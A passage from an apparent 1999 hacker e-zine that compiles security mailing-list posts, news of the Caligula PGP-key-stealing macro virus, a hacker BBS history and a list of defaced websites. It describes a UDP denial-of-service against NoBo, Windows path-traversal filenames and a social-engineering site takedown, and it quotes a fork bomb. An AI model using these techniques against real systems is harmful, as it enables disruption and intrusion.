sends the warring massage toward the source about the Jammer protection. The Jammer works with low level network driver & always communicates with Network Driver Interface Specification (NDIS), unlike Nuke Nabber, NoBo and BOFreeze (they use the higher level such as Winsock). Jammer Developers Team http://start.at/jammer ////////////////////////////////////////////////////////////////////////// Approved-By: Russ.Cooper@RC.ON.CA Received: from ae023019 ([194.65.152.123]) by ANTARTICO.mail.telepac.pt (Intermail v3.1 117 241) with SMTP id <19990201105748.WNL20839@[194.65.152.123]> for ; Mon, 1 Feb 1999 10:57:48 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 Importance: Normal Message-ID: <000a01be4dd1$c93c04d0$131710ac@paginasamarelas.pt> Date: Mon, 1 Feb 1999 10:56:34 -0000 Reply-To: ruipmartins@mail.telepac.pt Sender: Windows NT BugTraq Mailing List From: Firstname Lastname Subject: AutoStart Mac Worm in NT volumes To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Just FYI: The well know and dangerous MacOS worm AutoStart is capable of installing itself on Windows NT Server MacVolumes. If you have a "Deldb" file on the root of that volume you should have that worm. The worm is not visible to any Wintel anti-virus software, but the virus file can be seen in the root of the Windows NT Server machine, and can be deleted. Rui Pedro Patricio Cabrita Martins Técnico de Sistemas ruipmartins@mail.telepac.pt rmartins@paginasamarelas.pt bip: 094468-802571 ------------------------------------------------------------------------- | Criando conteúdo em português: | | http://members.tripod.com/~ruipmartins/index.html | As Ilhas Míticas do Atlântico | http://www.terravista.pt/Ancora/1212/index.htm | As Armas Secretas da Alemanha na II Grande Guerra | http://www.geocities.com/Athens/Forum/3257/index.htm | A Primeira Fase dos Descobrimentos Portugueses -=- ////////////////////////////////////////////////////////////////////////// Delivered-To dok-cruciphux@dok.org Received (qmail 28028 invoked from network); 31 Jan 1999 223603 -0000 Received from merde.dis.org (majordomo@206.14.78.2) by physical.graffiti.datacrest.com with SMTP; 31 Jan 1999 223603 -0000 Received (from majordomo@localhost) by merde.dis.org (8.8.7/8.6.11) id MAA23918 for dc-stuff-outgoing; Sun, 31 Jan 1999 123424 -0800 (PST) Message-ID <36B4BE1D.F0923332@datashopper.dk> Date Sun, 31 Jan 1999 213333 +0100 From Bo Elkjaer X-Mailer Mozilla 4.05 [en] (Win95; U) MIME-Version 1.0 To dc-stuff@dis.org Subject Israeli schoolboy destroys Iraqi internet site Content-Type text/plain; charset=iso-8859-1 Content-Transfer-Encoding 8bit Sender owner-dc-stuff@dis.org Precedence bulk X-forward-loop dc-stuff Reply-To Bo Elkjaer X-Comment TO UNSUBSCRIBE email "unsubscribe dc-stuff" to majordomo@dis.org X-Comment Lonely? Need a friend and lover? email jeffy@defcon.org X-Comment tired of typing? call the Defcon Voice Bridge 801-855-3326 X-Copyright This message is Copyright all rights reserved unless expressly limited X-No-Archive yes Restrict no-external-archive Israeli schoolboy destroys Iraqi internet site TEL AVIV, Jan 31 (AFP) - A 14-year-old Israeli computer nut has penetrated and destroyed an Iraqi government site on the internet, the daily Yediot Aharonot reported Sunday. "I read about the site in a computer magazine, and it bugged me," Nir Zigdon told the paper. "I thought that if Israel is afraid to eliminate (Iraqi President) Saddam Hussein, I could at least destroy his computer sites." He said he got into the site by persuading its manager that he was a young Palestinianwho had developed a programme for wiping Israeli sites. "It convinced them, and then I was able to destroy it," he said. The next day Zigdon received a "furious" email signed by the site manager, which he printed out and pinned proudly to his wall. Zigdon has been computer crazy since he was four, helped by his father, a teacher and consultant for a high-tech company. http//www.yahoo.com.sg/headlines/310199/technology/917782320-90131123253.technology.html Boo -- ULOVLIG KRYPTO-EKSPORT P BLOT TRE LINIER #!/bin/perl -sp0777i To: "Jay D. Dyson" CC: Defcon Stuff On Tue, 19 Jan 1999, Jay D. Dyson wrote: > Fraud divisions of phone companies aren't very hip to finding > vulnerabilities in their own systems. I learned that one the hard way > after my phones were shut off by parties unauthorized. And when I > initiated an investigation into that incident, I learned that the entire > incident of my phones being shut off was wiped out of my phone company's > logs. Pretty fair indication that their security was nonexistent, but it > raised no alarm with the people at the helm of the fraud department. They > "knew" their system was "secure," so who the heck was I to claim otherwise? > At that point, I knew I'd be better off just pounding sand. I have a feeling cost plays a role in this. The cost to hunt down a couple punk kids who know how to tumble neumber will far outweigh what it costs them to just forget about it. The same kind of thing tends to happen when you tell people that thier box has been hacked and is being used to spam the shit out of you. At the most, they will re-install the OS and that is that. When they get hacked again next week they will do it all over again, becuase taking the time to go and find the peopel responsible is just too dificult and costly for them. -=- Subject: Re: Cellular Fraud Date: Wed, 20 Jan 1999 11:30:48 -0800 (PST) From: "Jay D. Dyson" Organization: NASA Jet Propulsion Laboratory To: Defcon Stuff -----BEGIN PGP SIGNED MESSAGE----- On Wed, 20 Jan 1999, maas wrote: > > Pretty fair indication that their security was nonexistent, but it > > raised no alarm with the people at the helm of the fraud department. They > > "knew" their system was "secure," so who the heck was I to claim otherwise? > > At that point, I knew I'd be better off just pounding sand. > > I have a feeling cost plays a role in this. The cost to hunt down a > couple punk kids who know how to tumble neumber will far outweigh what > it costs them to just forget about it. I would tend to agree with your assessment. I forget who said it first, but one truly has to be a little insane to seek justice. The example used was a stolen briefcase worth $50. One would have to shell out at least $1500 in court costs and lawyer fees just to get some justice out of the whole mess, so most folks would logically just write off the loss. I guess you could say that the number of laws of a nation is directly inverse to the amount of justice the average person gets. - -Jay ( ______ )) .-- "There's always time for a good cup of coffee." --. >===<--. C|~~| (>-- Jay D. Dyson -- jdyson@techreports.jpl.nasa.gov --<) | = |-' `--' `-- As a matter of fact, I *am* a rocket scientist. --' `-----' -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNqYu6rl5qZylQQm1AQGqdgP+IliF9WbpY2I/yi8Sx3faectAbpyLSlXG kQ+Kl6JFgI6bQzy34JfU9u4r1P173Yko4HbwwL8Hqu6uZAKnX/Lwn/0XyBpB16ja KC6C9WrE2/CHaQURK/tirFemjOyUprtbFGWv+11Lf00B9rK8z2lBfPv05UAAGwHM TPzBe17WEgQ= =iw2/ -----END PGP SIGNATURE----- -=- more www exploits: Subject: Two bugs and suggestion for IPX stack Date: Wed, 20 Jan 1999 19:17:18 +0600 (ALMT) From: Boris Popov To: freebsd-hackers@FreeBSD.ORG Hello, for about a two months ago I make few changes in IPX stack related to broadcast bug, internal net support and little bug in SPX implementation. As they work stable I suggest them to discuss and commit in to source tree. Here is a short explanation: Broadcasts: local host never get broadcast packet originated by itself. Novell implementation do that, and this simplify programming. Internal net: it is possible to implement internal net conception like used in Netware servers by configure loopback interface as follows: ifconfig lo0 ipx 0x5a5a.1 After that, server programs like mars_nwe , can use only network 0x5a5a and host 1. Of course this requires small changes to ipx stack and IPXrouted. SPX bug are just invalid order of operators :) All patches are simple and attached at the end of letter. BTW, I mostly finish work on Netware client (typical throughput about 730Kb/s on 10Mbit network). Higher rates is possible with packet burst mode, so does any body know the details ? -- Boris Popov diff1 Name: diff1 Type: Plain Text (TEXT/PLAIN) Encoding: BASE64 diff2 Name: diff2 Type: Plain Text (TEXT/PLAIN) Encoding: BASE64 Subject: Re: Bug in IIS and PWS but only for Windows 9x. Re: Personal web server Date: Wed, 20 Jan 1999 10:01:19 -0800 From: Marc Slemko To: BUGTRAQ@netspace.org On Wed, 20 Jan 1999, Victor Lavrenko wrote: > >>>>> "Aleph" == Aleph One writes: > > Hello everybody. > > This bug exists because Windows 9x has a nice feature. When you > excecute "cd .." it goes to the parent directory, and "cd ..." goes to > the parent directory of parent directory etc. Windows NT has no such > feature so it isn't exploitable. Yup. I haven't looked into the issue with these particular servers, but Apache on Win32 used to be impacted by this same issue until it was fixed in 1.3.1. I think we have run into a half dozen different special case situations in Apache where "magic" filenames needed to be dealt with specially under 95 and/or NT to avoid security holes. You have to deal with: - case sensitivity - short filenames - trailing "."s on filenames - three or more "."s - special filenames (eg. "aux") Those are all the "multiple names for one file" or "magic file name" issues I can think of right now; I am sure there are more that I can't think of and that I don't know about. At various times, various Win32 web servers have been vulnerable to the above issues. Unfortunately, trying to find a canonical list of the ways that filename variance can occur in Windows is difficult, and it is obvious that Microsoft doesn't have it down either, based on the fact that many of these bugs have appeared in IIS in the past as well. These issues also can appear differently depending on if you are using 95/98/NT3.5/NT4 and depending on what filesystem you are using, so testing for them isn't as simple as you would hope. It really makes me wish for a nice young system, one that didn't have time to get all this accumulated cruft. Oh. Wait. Unix is a crufty old system and even it doesn't have this particular cruft. In this particular area, Windows gets a heck of a lot of thumbs down. -=- Subject: [NTSEC] Physical Port Security on a hub or switch... Date: Mon, 18 Jan 1999 13:07:08 -0600 From: Eric Fors To: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net Contact ntsecurity-owner@iss.net for help with any problems! --------------------------------------------------------------------------- I've been asked by our t-com and infrastructure guys to post a question as to the value of physical port restrictions being placed on their hubs and switches. We are currently using these features in some places on our LAN, but they often get in the way. Here's how it works if you're per chance not familiar. As each new machine comes on line the hub or switch 'learns' the MAC address of that machine and then sets a variable to allow no other MAC address to speak to that physical port. The hubs and switches come with an administration application that allows you to reset / disable / or enable any particular port one at a time or all the ports at once on a particular device. The idea is to keep anyone from 'stealing' a port on the LAN and listening in on what is going on on the wire. (i.e. - help protect physical access to the wire.) Is any body out there using these sort of tools? Where do you use them? Are they worth the trouble to you? etc. etc. ... Thanx, Eric, II -=- Subject: Nobo and Netbuster Dos Date: Wed, 20 Jan 1999 09:46:56 PST From: Wolfgang Gassner To: BUGTRAQ@netspace.org Simply send Big Udp Packets to eg. Port 31337 and Mr. Nobo will see a Big error message at each Packet!!! As Default Nobo only Logs on screen and not into file that means you can erase your Ping!! I tested this on NT and W95 and after some time it will kill with a Overflow. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com 9.0 Off The Hook Off The Air? ~~~~~~~~~~~~~~~~~~~~~~~~~ HNN Http://www.hackernews.com/ February 7th 1999 contributed by Anonymous 'Off the Hook' the hacker radio program broadcast by WBAI 99.5FM in New York, and by real audio over the Internet may soon go silent. Pacifica Radio, the largest and most powerful public radio broadcaster, holds the broadcast licenses of WBAI 99.5FM in New York, as well as other stations across the country. Pacifica Radio, will vote on the weekend of February 26-28 to alter the by-laws of the foundation regarding who, in the future, will select the Pacifica board of governors. This will possibly give itself, for the first time, majority control over its own composition and will give board members the total, permanent control of Pacifica and its 300 million dollars worth of assets. This action as well as recent movements by Pacifica to take the organization private has lead some to believe that 'Off the Hook' may be in jeopardy of of being thrown off the air. (The previous information originally posted to the freepacifica list and the Free Kevin list and sent to HNN Anonymously) Pacifica Radio - http://www.pacifica.org/ radio4all - More information and a petition to sign - http://www.radio4all.org/freepacifica * * An error exists on the original HNN page that prevents the link from working the one above is the correct link. @HWA 10.0 The Caligula Virus ~~~~~~~~~~~~~~~~~~ HNN/Wired/Etc contributed to HNN by Bi0wast3 http://www.hackernews.com/archive.html?020599.html Opic, a member of The CodeBreakers has written a new MS Word macro virus known as Caligula that specifically targets PGP private keys. Once you have been infected the viruses looks for your private key ring and uploads it to a Codebreakers FTP site. NAI, the owners of PGP claim that this in no way weakens the security of PGP. (So who do you believe? The good guys or the bad guys? Which is which?) http://www.internetnews.com/prod-news/article/0,1087,9_64191,00.html http://www.codebreakers.org/ http://www.nai.com/ Experts play down Caligula virus PGP-key snatching virus sounds dangerous -- but it's easily handled, experts say. ZDNET: http://www.zdnet.com/zdnn/stories/news/0,4586,2202965,00.html 11.0 Unphamiliar Territory ~~~~~~~~~~~~~~~~~~~~~ http://toaster.sun4c.net/upt/ If you have the history of a pir8 or underground bbs that you would like to share here, please direct us to the info or mail it in and we'll include it in an upcoming issue of HWA.hax0r.news for others to enjoy. - Ed $Id: index.html,v 1.2 1999/02/02 06:08:21 root Exp $ UPT, 10 years of hacker culture Unphamiliar Territory, often referred to as UPT or UPT.ORG, was one of the longest running *underground* computer bulletin boards of all time. Like all good things, it had to end sometime. Because of the influence that it had on the computer underground during the time it was up, we are working on a new project to show the new generation of hackers, security professionals and interested geeks just what we were. HISTORY OF UPT Cut to 1988. A geeky kid named Tom Jackiewicz was sitting in front of his computer, an old 8088 clone. To get the most performance out of this box, he spent hours upon hours trying to modify his CONFIG.SYS file under DOS 3.3 to fully take advantage of this computing power. Sure, it wasn't the greatest box in the world, but it effectively let him run King's Quest II. I don't know exactly how it happened, but this kid, going by the nick of Invalid Media, or iNVALiD MEDiA to be more accurate, decided that running a bulletin board would be a cool experience. Up springs Phortress Systems IV, a bulletin board running part time at 1200 baud off of his parent's phone line. The software? I can't really remember that far back but I know we tried PC Board v10 (the only version I could find that was available in the public domain), Spitfire, WWIV 4.12 (probably the most popular package back then), Telegard, TAG, LSD, Celerity, and a few others I'm sure I don't remember. I guess this was back in the day when you used to be able to login to the THG or INC bbses and they would have the latest cool BBS software cracked under 30: 0-day BBS software d00d . I would be the guy using up the phone lines for hours at a time downloading the software at 1200 baud. For the first few years, Phortress Systems IV was a fun little active BBS. We eventually settled on using WWIV as our BBS software of choice. I mean, with all the kids creating cool mods for it in C and making them available on their BBSes, it was definetely cool. Luther, the sysop of The Phortress, gave us a call one night and told us that we would have to change the name. A shitty little system like PSIV would *not* be associated with a great BBS like The Phortress. So Unphamiliar Territory was quickly pulled out of my ass and the abbreviations of UNPHAM and UPT were quickly born. I never heard much else about 'The great Phortress System' that we weren't cool enough to be mistaken for. So here we are. Running a BBS off of a 21.4mb hard drive and a 1200 baud Prometheus modem. Our userbase? Names you might have heard of would be Mind Rape from the National Security Anarchists, Quinton J. Miranda from Phortune 500, and a few other random people who were interested in taking a look at 602's hacker scene (or lack of a hacker scene). Posts in the telco section usually resulted in someone looking up the acronym in question and throwing the definition into the next post. Or people bragging about all the things they broke into by logging in as 'root', discussions on what k0d3z could be used to dial up the other BBSes around at that time. But hey, it was a start. Around 1991 was when the BBS really became active. By this time we had settled on using a BBS software called 'Paragon' with built-in QWK support. The Attitude Adjuster was very happy about this because he could dial in, download all our messages, respond to EVERY SINGLE ONE OF THEM offline, call up 2 days later and post them all. It was common for his QWK packets to be upwards of 250 messages. Quite scary, but hey, it created a lot of activty. Oh. I guess we were NuKE site around this time. I'm sure we were 'distro' sites for other places as well, but NuKE was always a big deal. The Canadian virus group was quite popular for many years to come and it was a sign that our BBS was one of the top 50 or so that they came across. With the normal life-span of a BBS being 6 to 9 months, we were considered old after being up for more than 2 years. I guess by this time we represented the National Security Anarchists. An elite group of 602 hackers consisting of Mind Rape, Mercury, The Dark Druid, Angel of Death, myself, and a few others. Crusader was NSA's official transportation as we were all either too young or too broke to have our own. This worked out nicely except for the fact that Crusader ended up keeping all the things we found trashing in the back of his house -- and we never saw them again. Oh well. The rewards of having a car and driving around a bunch of kids. Ties with NuKE were broken and we joined Phalcon/Skism. Unnamed members of Phalcon/Skism called us up on the phone one day and said "Dude, your board fucking rocks. You *need* to ditch NuKE and join us". So we did. By this time we had gained a very good reputation with the computer underground. Mercury was highly regarded as a great source of information and was always online posting new security tips, random tools he found on the internet, and very well thought out responses to everyone's questions. A lot of other people such as Attitude Adjuster, Accidental Tourist, Quinton J. Miranda, Mind Rape, cllisk8r, Toxic Phreak, Night Ranger (of the old VMB scene), a handful of Phalcon/Skism, NuKE and other virus group members, kept on posting as well. Jeager from Missouri was always on UPT and all over the X.25 networks finding out so many cool places to run around and establishing new chat systems. Random people from Lutzifer and QSD, places we all frequented, showed their faces on UPT. We were seen as of somewhat of a rock at that point in time. We weren't the best board out there but we were quickly making it up there with the ranks of Pentavia, Phalcon/Skism's LANDFILL, Midian, West Coast Technology and maybe a small group of others. We had a great userbase and a sysop who "ate, slept and drank UPT".. who was always on the lookout for new users to add to the system and new topics he could being up in the message bases. Every morning I would wake up to new threads on every topic imaginable and a score of people overseas posting the latest codes at 5:31am my time. Thinngs were going great. 1992 was a strange year that really put UPT over the edge. MICROWIRE had died. MICROWIRE was the NUI that everyone used to hop to everyone's favorite chat sites Lutzifer and QSD. What were people to do? Where were they going to go? They came here. So not only was the entire VMB and phreak scene fully represented on UPT, but so were all those who used MICROWIRE and never figured out a way to get on without it. This would be the year that UPT would be considered one of the best hacker BBSes of all time. Who knows what year it was, but Paragon development stopped and I lost contact with everyone working on it. As time went on and we needed more features added, we were just out of luck. We tried running Celerity for a while but it just didn't work out too well. We ended up going to Waffle. Then Waffle under SLS Linux. The only other time UPT was running unix was when Garbled User tried converting us to NetBSD back during the summer of 1992. That was a pain in the ass, topped off by MADMAN doing !sh at the [more] prompt of the BBS software we attempted to run and dropping to a root shell. Cut in to 1994. invalid and merc are working for days straight converting a 486/33 with 16 megabytes of RAM and a 209mb hard drive to SLS Linux. After multiple mistakes and errors in our lilo configurations. The kernel. Oh, yeah, 0.97. You know, the kernel where "The IRQ code has solidified, and should work on all machines. Not all of the SCSI drivers use it yet, so I expect patches for that". The same kernel where "include-files have been moved around some more: there are still some names that clash with the standard headers, but not many". Yeah, this is the same Linux that every kid in the world is now running and convincing their companies is the most stable piece of code in the world. Oh yeah, and this is the kernel where "while (1) fork();" won't kill the machine for non-root users". *sigh*. We eventually stabilized on kernel 1.1.59 -- finally getting past the 0 beta kernels. We were quite happy. A new era for UPT had started. During the unix upgrade we converted all the old message bases and userbase to Waffle. After probably 3 straight days of configuring the machine, 'iceman' logged onto our boxes and spent what seemed like eternity online trying to break root on our machines. He succeeded, being the first person to ever break root on our boxes. He used 'sendmail'. We were quite annoyed that we didn't take the time to secure but happy that 'iceman' was cool enough to let us know where our security holes were. I guess this is around the time that we started sitting at Denny's 24 hours a day going over ways we could make UPT more secure and unique. We came up with many ideas which we implemented and many that ended up making it into current issues of Phrack (years after we implemented them on UPT). Our brainstorming sessions come up with some of the following ideas: .hushutmp/.hushwtmp files could be created in your home directory to hide you from utmp/wtmp. this way, you could connect from sites that would identify you (i.e. your work) without the fear the other UPT users could gain knowledge of your identity. trusted path execution. this has been discussed many times since we first implemented it so i'm sure you've read about it somewhere. the idea is that the directory needs to be owned by root and have certain permissions (i.e. not group writable) or else you can't execute files out of that directory. for example, you can't execute files you compile on our system our of your home directory. socks group. you had to be in the group 'socks' in order to open up a socket on our system. To be finished later.. THE SYSOPS Tom Jackiewicz, aka Invalid Media, invalid. invalid founded UPT and helped make it the board that it ended up being. He is currently working as a consultant in Silicon Valley in the field of system scalability (specifically related to LDAP and SMTP). Mercury or merc of the National Security Anarchists. merc no longer exists. However, for the years he was on the system, he was always a great source of knowledge and did most of the programming related to running the BBS. Mind Rape of the National Security Anarchists. While not one of the official sysops, he was a mentor to those who knew him. He's still crazy. Warlock Bones or wbones. When the system was moved from invalid's house, he took over. This was sometime in 1992. It stayed at his house for quite some time running on a Dual Standard modem (a nice step up) and a fast 386 machine. Garbled User or garbled of Freakers Bureau Incorporated. Upon moving to Phoenix, he made UPT the head BBS of FBI. All of the articles for FBI were published there. The system was actually at his house for the summer of 1993 (if I remember correctly). Many people have also helped over the years in keeping the system up and donating new hardware. Professor Falken from the old LOD gave us our first high speed modem (ZOOM v32), Pluvius from BoW gave us our first router (an old NTI). Many people have donated time, energy, programming talent, and insane amounts of alcohol that kept us alive for more than a decade. THE GROUPS We've been associated with many groups over the past few years. Starting out with the 504 crowd and NCC/GCA with Dr. C, Ratfink, and various others. Then on to being the head board for the National Security Anarchists with Mercury, Mind Rape, The Dark Druid, Angel of Death, and many others. NuKE with Rock Steady and the other canucks. The most influential at the time was Phalcon/Skism with GarbageHeap, Orion Rogue, HellRaiser, CRoWMeiSTeR and others. The text file groups all wanted us to be distribution sites for them. Digital Free Press, uXu, Freedom, and many others. And not to forget the most fun product of UPT -- Cult of the Dead Cat, along with The Attitude Adjuster (under a handful of nicks) and Mahatma Mcaf33 (me!). The group was initially started as an anti-cDc group because Drunkfux complained that we had the dead cow logo upon logging in. So instantly we changed the logo to a dead cat and insulted everyone within our publications. Check out some of the CdC archives on eff.org. *sigh*. Those were the days. MESSAGE ARCHIVES The message archives have actually been converted. Message bases date as far back as 02/1992. More are still on tape and need to be restored. We are working on the process right now. In the days of Warez BBSes going HST only, The Humble Guys, Phun Line out of Sacramento, and West Coast Technologies, BBSes were king. And the BBS sysops were masters of all information. UPT was glad to be a part of that era of hacker culture. While messages won't be as interesting now as they were back then, its still nice to look back at some of the old posts that we had on the box. And its fun to look at your coworker in the next office over and say, "You posted THAT?". You know who you are. On to the message bases! -> http://toaster.sun4c.net/upt/forum.html @HWA H.W Hacked Web Sites ~~~~~~~~~~~~~~~~~ I'm seriously wondering if it is any longer a good idea to put hacked web sites into the spotlight at all. It just encourages a stupid activity. Like using the word "fuck" to the point that it no longer has any meaning, but for now here is a list of *some* of the recently hacked websites for February. Cracked Sites (taken directly from HNN's rumours section) hnn: http://www.hackernews.com/ We received reports that the following people cracked the following web sites. Many of the sites where restored by the time we looked at them. |ndig00, f0bic, jay, opt1mus_pr1me, mindphasr, HcV, Decendents of Hell, RETRiBUTiON, Elite Force Hackers, |ViRuSeD|, [^X^CliEnT^], and LoRd OaK http://www.prolinkservices.com http://www.it4.net http://www.it4.com http://www.socialsource.com http://www.socialsource.net http://www.worldcast.com http://abl.afsc.noaa.gov http://www.foxlink.net http://www.ustr.net http://www.purehosting.com http://www.isabi.net @HWA A.0 APPENDICES ~~~~~~~~~~ A.1 PHACVW, sekurity, security, cyberwar links ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The links are no longer maintained in this file, there is now a links section on the http://welcome.to/HWA.hax0r.news/ url so check there for current links etc. The hack FAQ (The #hack/alt.2600 faq) http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html Hacker's Jargon File (The quote file) http://www.lysator.liu.se/hackdict/split2/main_index.html International links:(TBC) ~~~~~~~~~~~~~~~~~~~~~~~~~ Netherlands...: http://security.pine.nl/ Russia........: http://www.tsu.ru/~eugene/ Indonesia.....: http://www.k-elektronik.org/index2.html http://members.xoom.com/neblonica/ Brasil........: http://www.psynet.net/ka0z http://www.elementais.cjb.net Got a link for this section? email it to hwa@press.usmc.net and i'll review it and post it here if it merits it. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- (c) Cruciphux/HWA.hax0r.news (r) Cruciphux is a trade mark of Harpies With Ailments corp. --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]